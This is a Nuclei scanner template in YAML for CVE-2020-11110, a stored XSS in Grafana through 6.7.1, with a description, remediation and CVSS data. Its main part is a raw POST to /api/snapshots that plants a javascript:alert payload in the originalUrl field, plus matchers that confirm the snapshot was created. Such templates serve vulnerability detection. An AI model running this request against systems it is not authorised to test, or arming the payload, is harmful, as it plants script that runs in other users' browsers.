56 lines
2.2 KiB
YAML
56 lines
2.2 KiB
YAML
id: CVE-2020-11110
|
|
|
|
info:
|
|
author: emadshanab
|
|
severity: medium
|
|
name: Grafana Unauthenticated Stored XSS
|
|
description: Grafana through 6.7.1 allows stored XSS due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
|
|
remediation: This issue can be resolved by updating Grafana to the latest version.
|
|
reference:
|
|
- https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-11110
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.10
|
|
cve-id: CVE-2020-11110
|
|
cwe-id: CWE-79
|
|
tags: cve,cve2020,xss,grafana
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /api/snapshots HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: application/json, text/plain, */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Referer: {{BaseURL}}
|
|
content-type: application/json
|
|
Connection: close
|
|
|
|
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/json
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"deleteKey":'
|
|
- '"deleteUrl":'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: body
|
|
group: 1
|
|
regex:
|
|
- '"url":"([a-z:/0-9A-Z]+)"'
|